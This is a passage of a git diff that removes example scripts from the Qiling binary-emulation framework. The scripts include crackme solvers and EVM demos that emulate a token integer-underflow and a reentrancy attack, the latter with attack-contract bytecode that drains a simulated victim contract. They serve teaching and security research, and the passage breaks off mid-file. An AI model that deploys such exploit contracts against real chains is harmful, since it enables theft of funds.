force_call_dialog_func(ql: Qiling): - # this hook is invoked after returning from DialogBoxParamA, so its - # stack frame content is still available to us. - - # get DialogFunc address - lpDialogFunc = ql.stack_read(-8) - - # setup stack for DialogFunc - ql.stack_push(0) - ql.stack_push(1001) - ql.stack_push(273) - ql.stack_push(0) - ql.stack_push(0x0401018) - - # force EIP to DialogFunc - ql.arch.regs.eip = lpDialogFunc - -def my_sandbox(path, rootfs): - ql = Qiling(path, rootfs) - - # patch the input validation code: overwrite all its breaking points - # denoted with "jne 0x401135", so it would keep going even if there - # is an error - ql.patch(0x004010B5, b'\x90\x90') - ql.patch(0x004010CD, b'\x90\x90') - ql.patch(0x0040110B, b'\x90\x90') - ql.patch(0x00401112, b'\x90\x90') - - # hook the instruction after returning from DialogBoxParamA - ql.hook_address(force_call_dialog_func, 0x00401016) - - ql.run() - -if __name__ == "__main__": - my_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows") diff --git a/examples/crackme_x86_windows_unpatch.py.orig b/examples/crackme_x86_windows_unpatch.py.orig deleted file mode 100644 index ffcf0a52c..000000000 --- a/examples/crackme_x86_windows_unpatch.py.orig +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys -sys.path.append("..") - -from qiling import Qiling - -def force_call_dialog_func(ql: Qiling): - # this hook is invoked after returning from DialogBoxParamA, so its - # stack frame content is still available to us. - - # get DialogFunc address - lpDialogFunc = ql.stack_read(-8) - - # setup stack for DialogFunc - ql.stack_push(0) - ql.stack_push(1001) - ql.stack_push(273) - ql.stack_push(0) - ql.stack_push(0x0401018) - - # force EIP to DialogFunc - ql.arch.regs.eip = lpDialogFunc - -def our_sandbox(path, rootfs): - ql = Qiling(path, rootfs) - - # hook the instruction after returning from DialogBoxParamA - ql.hook_address(force_call_dialog_func, 0x00401016) - - ql.run() - -if __name__ == "__main__": - # Flag is : Ea5yR3versing - our_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows") diff --git a/examples/doogie_8086_crack.py.orig b/examples/doogie_8086_crack.py.orig deleted file mode 100644 index 35dc43b90..000000000 --- a/examples/doogie_8086_crack.py.orig +++ /dev/null @@ -1,210 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys, curses, math, struct, string, time -sys.path.append("..") -from qiling import * -from qiling.const import * -from qiling.os.disk import QlDisk -from qiling.os.dos.utils import BIN2BCD -from struct import pack - - -# https://stackoverflow.com/questions/9829578/fast-way-of-counting-non-zero-bits-in-positive-integer -def CountBits(n): - n = (n & 0x5555555555555555) + ((n & 0xAAAAAAAAAAAAAAAA) >> 1) - n = (n & 0x3333333333333333) + ((n & 0xCCCCCCCCCCCCCCCC) >> 2) - n = (n & 0x0F0F0F0F0F0F0F0F) + ((n & 0xF0F0F0F0F0F0F0F0) >> 4) - n = (n & 0x00FF00FF00FF00FF) + ((n & 0xFF00FF00FF00FF00) >> 8) - n = (n & 0x0000FFFF0000FFFF) + ((n & 0xFFFF0000FFFF0000) >> 16) - n = (n & 0x00000000FFFFFFFF) + ((n & 0xFFFFFFFF00000000) >> 32) # This last & isn't strictly necessary. - return n - -def ham(lhs: int, rhs: int): - return CountBits(lhs^rhs) - -def calavghd(bs: bytes, sz: int): - groups = len(bs) // sz - hdsum = 0 - seqs = [ bs[i*sz:(i+1)*sz] for i in range(groups)] - for i in range(groups-1): - seq1 = seqs[i] - seq2 = seqs[(i+1)%groups] - lc = 0 - for j in range(sz): - lc += ham(seq1[j], seq2[j]) - hdsum += ham(seq1[j], seq2[j]) - return hdsum / groups, hdsum / groups / sz - -def calavghdall(bs: bytes, maxsz: int): - r = [] - for i in range(1, maxsz): - r.append((i, *calavghd(bs, i))) - r.sort(key=lambda x: x[2]) - return r - -# Implmentation for https://trustedsignal.blogspot.com/2015/06/xord-play-normalized-hamming-distance.html -def guess_key_size(orig: bytes, maxsz=20): - avghd = calavghdall(orig, maxsz) - gcd12 = math.gcd(avghd[0][0], avghd[1][0]) - gcd13 = math.gcd(avghd[0][0], avghd[2][0]) - gcd23 = math.gcd(avghd[1][0], avghd[2][0]) - if gcd12 != 1: - if gcd12 == gcd13 and gcd12 == gcd23: - if gcd12 in [t[0] for t in avghd[:5]]: - if gcd12 == avghd[0][0] or gcd12 == avghd[0][1]: - return gcd12 - return avghd[0][0] - -def is_all_printable(bs: bytes): - for b in bs: - if chr(b) not in string.printable: - return False - return True - -def countchar(bs: bytes): - d = {} - for ch in bs: - if ch not in d: - d[ch] = 0 - d[ch] += 1 - r = [(chr(k), v) for k, v in d.items()] - r.sort(key=lambda x: x[1], reverse=True) - return r - -def cal_count_for_seqs(seqs: dict): - seqs_keys={} - for seq in seqs: - seqs_keys[seq] = {} - for ch in range(0x20, 0x7E+1): - xored = bytes([b^ch for b in seq]) - if not is_all_printable(xored): - continue - count = countchar(xored) - seqs_keys[seq][ch] = count - return seqs_keys - -def search_possible_key(seqs: dict, seqs_keys: dict, max_occur=3): - keys = set() - cached = {} - def _impl(seq_idx: bytes, repeated: int, key: str): - if seq_idx == len(seqs): - keys.add(key) - return - if repeated not in cached[seq_idx]: - return - for ch in cached[seq_idx][repeated]: - _impl(seq_idx + 1, repeated, key + bytes([ch])) - return - for idx, seq in enumerate(seqs): - cached[idx] = {} - for ch, count in seqs_keys[seq].items(): - for tp in count[:max_occur]: - if ord(tp[0]) not in cached[idx]: - cached[idx][ord(tp[0])] = [] - cached[idx][ord(tp[0])].append(ch) - for i in range(0x20, 0x7E+1): - _impl(0, i, b"") - return keys - -def echo_key(ql: Qiling, key): - # Note: In most cases, users are not supposed to use `ql.os.stdscr` - # directly. The hack here is to show the corresponding key. - stdscr = ql.os.stdscr - y, _ = stdscr.getmaxyx() - stdscr.addstr(y-2, 0, f"Current key: {key}") - stdscr.refresh() - -def show_once(ql: Qiling, key): - klen = len(key) - ql.arch.regs.ax = klen - ql.mem.write(0x87F4, key) - # Partial exectution to skip input reading - ql.run(begin=0x801B, end=0x803d) - echo_key(ql, key) - time.sleep(1) - -# In this stage, we show every key. -def third_stage(keys): - # To setup terminal again, we have to restart the whole program. - ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], - "rootfs/8086", - console=False) - ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80)) - ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT) - hk = ql.hook_code(stop, begin=0x8018, end=0x8018) - ql.run() - ql.hook_del(hk) - # Snapshot API. - ctx = ql.save() - for key in keys: - show_once(ql, key) - ql.restore(ctx) - - -# In this stage, we crack the encrypted buffer. -def second_stage(ql: Qiling): - data = bytes(read_until_zero(ql, 0x8809)) - key_size = guess_key_size(data) # Should be 17 - seqs = [] - for i in range(key_size): - seq = b"" - j = i - while j < len(data): - seq += bytes([data[j]]) - j += key_size - seqs.append(seq) - seqs_keys = cal_count_for_seqs(seqs) - keys = search_possible_key(seqs, seqs_keys) - return keys - - -def read_until_zero(ql: Qiling, addr): - buf = b"" - ch = -1 - while ch != 0: - ch = ql.mem.read(addr, 1)[0] - buf += pack("B", ch) - addr += 1 - return buf - -def set_required_datetime(ql: Qiling): - ql.log.info("Setting Feburary 06, 1990") - ql.arch.regs.ch = BIN2BCD(19) - ql.arch.regs.cl = BIN2BCD(1990%100) - ql.arch.regs.dh = BIN2BCD(2) - ql.arch.regs.dl = BIN2BCD(6) - -def stop(ql, addr, data): - ql.emu_stop() - -# In this stage, we get the encrypted data which xored with the specific date. -def first_stage(): - ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], - "rootfs/8086", - console=False) - ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80)) - # Doogie suggests that the datetime should be 1990-02-06. - ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT) - # A workaround to stop the program. - hk = ql.hook_code(stop, begin=0x8018, end=0x8018) - ql.run() - ql.hook_del(hk) - return ql - -if __name__ == "__main__": - ql = first_stage() - # resume terminal - curses.endwin() - keys = second_stage(ql) - for key in keys: - print(f"Possible key: {key}") - # The key of this challenge is not unique. The real - # result depends on the last ascii art. - print("Going to try every key.") - time.sleep(3) - third_stage(keys) - # resume terminal - curses.endwin() \ No newline at end of file diff --git a/examples/evm/evm_Hexagon_overflow.py.orig b/examples/evm/evm_Hexagon_overflow.py.orig deleted file mode 100644 index 7bf4f50e0..000000000 --- a/examples/evm/evm_Hexagon_overflow.py.orig +++ /dev/null @@ -1,52 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -# https://etherscan.io/tx/0x9243d45ca81db4f16a0ded3e57982b4bc95ec32ce69d541bf6e019d949cbc6c8 -# https://www.anquanke.com/post/id/145520 - -import sys - -sys.path.append("../..") -from qiling import * - - -def example_run_evm(): - contract = '0x606060405266017dfcdece4000600055341561001a57600080fd5b600160a060020a033316600090815260016020526040902066017dfcdece400090556106eb8061004b6000396000f3006060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae57806327edf097146101d6578063313ce567146101ff578063378dc3dc1461021257806342966c681461022557806370a082311461023b578063771282f61461025a57806395d89b411461026d578063a9059cbb14610280578063dd62ed3e146102a2575b600080fd5b34156100d457600080fd5b6100dc6102c7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356102fe565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6103a4565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356103aa565b34156101e157600080fd5b6101e9610422565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6101e9610427565b341561021d57600080fd5b61019c61042c565b341561023057600080fd5b610175600435610437565b341561024657600080fd5b61019c600160a060020a03600435166104ea565b341561026557600080fd5b61019c6104fc565b341561027857600080fd5b6100dc610502565b341561028b57600080fd5b610175600160a060020a0360043516602435610539565b34156102ad57600080fd5b61019c600160a060020a036004358116906024351661054f565b60408051908101604052600781527f48657861676f6e00000000000000000000000000000000000000000000000000602082015281565b60008115806103305750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561033b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005490565b600160a060020a03808416600090815260026020908152604080832033909416835292905290812054829010156103e057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052208054839003905561041884848461056c565b5060019392505050565b600281565b600481565b66017dfcdece400081565b600160a060020a0333166000908152600160205260408120548290101561045d57600080fd5b600160a060020a033316600081815260016020526040808220805486900390558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980548601905581548590039091557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60016020526000908152604090205481565b60005481565b60408051908101604052600381527f4858470000000000000000000000000000000000000000000000000000000000602082015281565b600061054633848461056c565b50600192915050565b600260209081526000928352604080842090915290825290205481565b600160a060020a038216151561058157600080fd5b600160a060020a038316600090815260016020526040902054600282019010156105aa57600080fd5b600160a060020a038216600090815260016020526040902054818101116105d057600080fd5b600160a060020a03808416600081815260016020526040808220805460011990879003810190915593861682528082208054860190558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546002908101909155825490940190915590917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5915160ff909116815260200160405180910390a281600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050505600a165627a7a72305820fbef5b10322242b8659b5de8e24ec1cf5e809831f6f7c08e52112f76daa31aef0029' - ql = Qiling(code=contract, archtype="evm") - - user1 = ql.arch.evm.create_account(balance=100*10**18) - user2 = ql.arch.evm.create_account(balance=100*10**18) - c1 = ql.arch.evm.create_account() - - def check_balance(sender, destination): - call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) - msg2 = ql.arch.evm.create_message(sender, destination, data=call_data) - return ql.run(code=msg2) - - # Deploy runtime code - msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) - ql.run(code=msg0) - - # # SMART CONTRACT DEPENDENT: check balance of user1 - result = check_balance(user1, c1) - print('User1 balance =', int(result.output.hex()[2:], 16)) - - # # SMART CONTRACT DEPENDENT: transform from user1 to user2 - call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ - ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe]) - msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) - result = ql.run(code=msg1) - if int(result.output.hex()[2:], 16) == 1: - print('User1 transfered Token to User1') - - # # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 - result = check_balance(user1, c1) - print('User1 final balance =', int(result.output.hex()[2:], 16)) - - result = check_balance(user2, c1) - print('User2 final balance =', int(result.output.hex()[2:], 16)) - -if __name__ == "__main__": - example_run_evm() \ No newline at end of file diff --git a/examples/evm/evm_debugger.py.orig b/examples/evm/evm_debugger.py.orig deleted file mode 100644 index 068aedad9..000000000 --- a/examples/evm/evm_debugger.py.orig +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("../..") -from qiling import * - -if __name__ == '__main__': - contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' - ql = Qiling(code=contract, archtype="evm") - ql.debugger = True - - # Add Balance Var to the contract - bal = ql.arch.evm.abi.convert(['uint256'], [20]) - contract = contract + bal - - user1 = ql.arch.evm.create_account(balance=100*10**18) - user2 = ql.arch.evm.create_account(balance=100*10**18) - c1 = ql.arch.evm.create_account() - - msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) - ql.run(code=msg0) \ No newline at end of file diff --git a/examples/evm/evm_reentrancy.py.orig b/examples/evm/evm_reentrancy.py.orig deleted file mode 100644 index 8c9259562..000000000 --- a/examples/evm/evm_reentrancy.py.orig +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("../..") -from qiling import * -from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector -from qiling.arch.evm.vm.vm import BaseVM -from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS - - -if __name__ == '__main__': - # Attack_contract = '0x608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a723058204ad3139b1085c12112b76e9eab70c6589942d6e84eb3d8329a644eca757c19d00029' - Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029' - - ql = Qiling(code=Attack_contract, archtype="evm") - vm:BaseVM = ql.arch.evm.vm - - C1 = b'\xaa' * 20 - C2 = b'\xbb' * 20 - User1 = b'\xcc' * 20 - User2 = b'\xde\xad\xbe\xef' * 5 - - ql.arch.evm.create_account(C1) - ql.arch.evm.create_account(C2) - ql.arch.evm.create_account(User1, 100*10**18) - ql.arch.evm.create_account(User2, 100*10**18) - - EtherStore_contract = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029' - - print('Init Victim balance is', vm.state.get_balance(User1)/10**18) - print('Init Attacker balance is', vm.state.get_balance(User2)/10**18) - - code1 = bytecode_to_bytes(EtherStore_contract) - print('\n------ Deploy DeFi contract') - # 1. deploy EtherStore - msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1) - res = vm.execute_message(msg1) - - res_code = bytecode_to_bytes(res.output) - runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) - rt_code = bytecode_to_bytes(runtime_code) - print('Victim balance: ', vm.state.get_balance(User1)/10**18) - - print('\n------ Victim deposit Funds 20ETH to DeFi contract') - # 2. User1 depositFunds 20ETH to bank - call_data = '0xe2c41dbc' - msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code) - res = vm.execute_message(msg2) - # print(res.output) - print('Victim balance: ', vm.state.get_balance(User1)/10**18) - - code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1])) - # print(code2.hex()) - print('\n------ Deploy Attack Contract') - - # 3. deploy Attack - # ql.debugger = True - msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2) - res = vm.execute_message(msg3) - # ql.debugger = False - - res_code = bytecode_to_bytes(res.output) - runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) - rt_code1 = bytecode_to_bytes(runtime_code) - - print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack') - # 4. User2 pwnEtherStore with 1ETH - call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0xe2c41dbc')]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0x155dd5ee')]) - # ql.debugger = True - msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1) - res = vm.execute_message(msg4) - # ql.debugger = False - print('Attacker balance: ', vm.state.get_balance(User2)/10**18) - - print('\n------ Attacker steal Ether from DeFi contract') - # 5. User2 collectEther - call_data = '0xff11e1db' - msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1) - res = vm.execute_message(msg5) - print('Attacker balance: ', vm.state.get_balance(User2)/10**18) diff --git a/examples/evm/evm_reentrancy_vol.py.orig b/examples/evm/evm_reentrancy_vol.py.orig deleted file mode 100644 index ae732cc25..000000000 --- a/examples/evm/evm_reentrancy_vol.py.orig +++ /dev/null @@ -1,133 +0,0 @@ -#!/usr/bin/env python3 -# -# Cross Platform and Multi Architecture Advanced Binary Emulation Framework -# - -import sys - -sys.path.append("../..") -from qiling import * -from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector -from qiling.arch.evm.vm.vm import BaseVM -from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS - - -def template(vic_contract, deposit, withdraw): - Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029' - - ql = Qiling(code=Attack_contract, archtype="evm") - vm:BaseVM = ql.arch.evm.vm - - C1 = b'\xaa' * 20 - C2 = b'\xbb' * 20 - User1 = b'\xcc' * 20 - User2 = b'\xde\xad\xbe\xef' * 5 - - ql.arch.evm.create_account(C1) - ql.arch.evm.create_account(C2) - ql.arch.evm.create_account(User1, 100*10**18) - ql.arch.evm.create_account(User2, 100*10**18) - - EtherStore_contract = vic_contract - - - print('Init Victim balance is', vm.state.get_balance(User1)/10**18) - print('Init Attacker balance is', vm.state.get_balance(User2)/10**18) - - code1 = bytecode_to_bytes(EtherStore_contract) - print('\n------ Deploy DeFi contract') - # 1. deploy EtherStore - msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1) - res = vm.execute_message(msg1) - - res_code = bytecode_to_bytes(res.output) - runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) - rt_code = bytecode_to_bytes(runtime_code) - print('Victim balance: ', vm.state.get_balance(User1)/10**18) - - print('\n------ Victim deposit Funds 20ETH to DeFi contract') - # 2. User1 depositFunds 20ETH to bank - call_data = deposit - msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code) - res = vm.execute_message(msg2) - # print(res.output) - print('Victim balance: ', vm.state.get_balance(User1)/10**18) - - code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1])) - # print(code2.hex()) - print('\n------ Deploy Attack Contract') - - # 3. deploy Attack - # ql.debugger = True - msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2) - res = vm.execute_message(msg3) - # ql.debugger = False - - res_code = bytecode_to_bytes(res.output) - runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) - rt_code1 = 